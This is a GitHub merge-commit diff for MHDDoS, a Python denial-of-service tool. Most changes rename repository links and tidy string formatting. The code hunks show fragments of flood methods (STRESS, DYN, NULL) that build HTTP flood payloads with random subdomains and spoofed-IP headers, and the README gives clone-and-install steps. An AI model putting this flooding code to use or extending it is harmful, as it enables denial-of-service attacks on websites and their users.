Merge branch 'MatrixTM:main' into main

This commit is contained in:
NinjutsuDEV 2022-04-08 21:12:58 +01:00 committed by GitHub
commit ef6b139708
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
4 changed files with 19 additions and 19 deletions

View File

@ -1,5 +1,5 @@
blank_issues_enabled: true
contact_links:
- name: 📃 Documentation
url: https://github.com/MHProDev/MHDDoS/wiki
url: https://github.com/MatrixTM/MHDDoS/wiki
about: Please read the documentation from here.

View File

@ -1,6 +1,6 @@
MIT License
Copyright (c) 2022 MH_ProDev
Copyright (c) 2022 MatrixTM
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal

View File

@ -4,11 +4,11 @@
<em><h5 align="center">(Programming Language - Python 3)</h5></em>
<p align="center">
<a href="#"><img alt="MHDDoS forks" src="https://img.shields.io/github/forks/MHProDev/MHDDoS?style=for-the-badge"></a>
<a href="#"><img alt="MHDDoS last commit (main)" src="https://img.shields.io/github/last-commit/MHProDev/MHDDoS/main?color=green&style=for-the-badge"></a>
<a href="#"><img alt="MHDDoS Repo stars" src="https://img.shields.io/github/stars/MHProDev/MHDDoS?style=for-the-badge&color=yellow"></a>
<a href="#"><img alt="MHDDoS License" src="https://img.shields.io/github/license/MHProDev/MHDDoS?color=orange&style=for-the-badge"></a>
<a href="https://github.com/MHProDev/MHDDoS/issues"><img alt="MHDDoS issues" src="https://img.shields.io/github/issues/MHProDev/MHDDoS?color=purple&style=for-the-badge"></a>
<a href="#"><img alt="MH-DDoS forks" src="https://img.shields.io/github/forks/MatrixTM/MHDDoS?style=for-the-badge"></a>
<a href="#"><img alt="MH-DDoS last commit (main)" src="https://img.shields.io/github/last-commit/MatrixTM/MHDDoS/main?color=green&style=for-the-badge"></a>
<a href="#"><img alt="MH-DDoS Repo stars" src="https://img.shields.io/github/stars/MatrixTM/MHDDoS?style=for-the-badge&color=yellow"></a>
<a href="#"><img alt="MH-DDoS License" src="https://img.shields.io/github/license/MatrixTM/MHDDoS?color=orange&style=for-the-badge"></a>
<a href="https://github.com/MatrixTM/MHDDoS/issues"><img alt="MatrixTM issues" src="https://img.shields.io/github/issues/MatrixTM/MHDDoS?color=purple&style=for-the-badge"></a>
<p align="center">Please Don't Attack websites without the owners consent.</p>
@ -88,7 +88,7 @@ python3 start.py tools
## Downloads
You can download it from [GitHub Releases](https://github.com/MHProDev/MHDDoS/releases)
You can download it from [GitHub Releases](https://github.com/MatrixTM/MHDDoS/releases)
### Getting Started
@ -99,7 +99,7 @@ You can download it from [GitHub Releases](https://github.com/MHProDev/MHDDoS/re
* [impacket](https://github.com/SecureAuthCorp/impacket)
* [requests](https://github.com/psf/requests)
* [Python3][python3]
* [PyRoxy](https://github.com/MHProDev/PyRoxy)
* [PyRoxy](https://github.com/MatrixTM/PyRoxy)
* [icmplib](https://github.com/ValentinBELYN/icmplib)
* [certifi](https://github.com/certifi/python-certifi)
* [psutil](https://github.com/giampaolo/psutil)
@ -119,18 +119,18 @@ You can download it from [GitHub Releases](https://github.com/MHProDev/MHDDoS/re
## Documentation
You can read it from [GitHub Wiki](https://github.com/MHProDev/MHDDoS/wiki)
You can read it from [GitHub Wiki](https://github.com/MatrixTM/MHDDoS/wiki)
**Clone and Install Script**
```shell script
git clone https://github.com/MHProDev/MHDDoS.git
git clone https://github.com/MatrixTM/MHDDoS.git
cd MHDDoS
pip install -r requirements.txt
```
[python3]: https://python.org 'Python3'
[github]: https://github.com/MHProDev/MHDDoS/issues 'GitHub'
[github]: https://github.com/MatrixTM/MHDDoS/issues 'GitHub'
---

View File

@ -159,7 +159,7 @@ class Tools:
suffix = MULTIPLES[multiple].format("i" if binary else "")
return f"{value:.{precision}f} {suffix}"
else:
return f"-- B"
return "-- B"
@staticmethod
def humanformat(num: int, precision: int = 2):
@ -660,7 +660,7 @@ class HttpFlood(Thread):
def generate_payload(self, other: str = None) -> bytes:
return str.encode((self._payload +
"Host: %s\r\n" % self._target.authority +
f"Host: {self._target.authority}\r\n" +
self.randHeadercontent +
(other if other else "") +
"\r\n"))
@ -712,7 +712,7 @@ class HttpFlood(Thread):
def STRESS(self) -> None:
payload: bytes = self.generate_payload(
(f"Content-Length: 524\r\n"
("Content-Length: 524\r\n"
"X-Requested-With: XMLHttpRequest\r\n"
"Content-Type: application/json\r\n\r\n"
'{"data": %s}') % ProxyTools.Random.rand_str(512))[:-2]
@ -897,7 +897,7 @@ class HttpFlood(Thread):
def DYN(self):
payload: Any = str.encode(self._payload +
"Host: %s.%s\r\n" % (ProxyTools.Random.rand_str(6), self._target.authority) +
f"Host: {ProxyTools.Random.rand_str(6)}.{self._target.authority}\r\n" +
self.randHeadercontent +
"\r\n")
s = None
@ -966,7 +966,7 @@ class HttpFlood(Thread):
def NULL(self) -> None:
payload: Any = str.encode(self._payload +
"Host: %s\r\n" % self._target.authority +
f"Host: {self._target.authority}\r\n" +
"User-Agent: null\r\n" +
"Referrer: null\r\n" +
self.SpoofIP + "\r\n")
@ -1055,7 +1055,7 @@ class HttpFlood(Thread):
self.SENT_FLOOD = self.PPS
self._defaultpayload = (
self._defaultpayload +
"Host: %s\r\n\r\n" % self._target.authority).encode()
f"Host: {self._target.authority}\r\n\r\n").encode()
if name == "EVEN": self.SENT_FLOOD = self.EVEN
if name == "DOWNLOADER": self.SENT_FLOOD = self.DOWNLOADER
if name == "BOMB": self.SENT_FLOOD = self.BOMB
@ -1355,7 +1355,7 @@ class ToolsConsole:
# noinspection PyUnreachableCode
@staticmethod
def info(domain):
with suppress(Exception), get("https://ipwhois.app/json/%s/" % domain) as s:
with suppress(Exception), get(f"https://ipwhois.app/json/{domain}/") as s:
return s.json()
return {"success": False}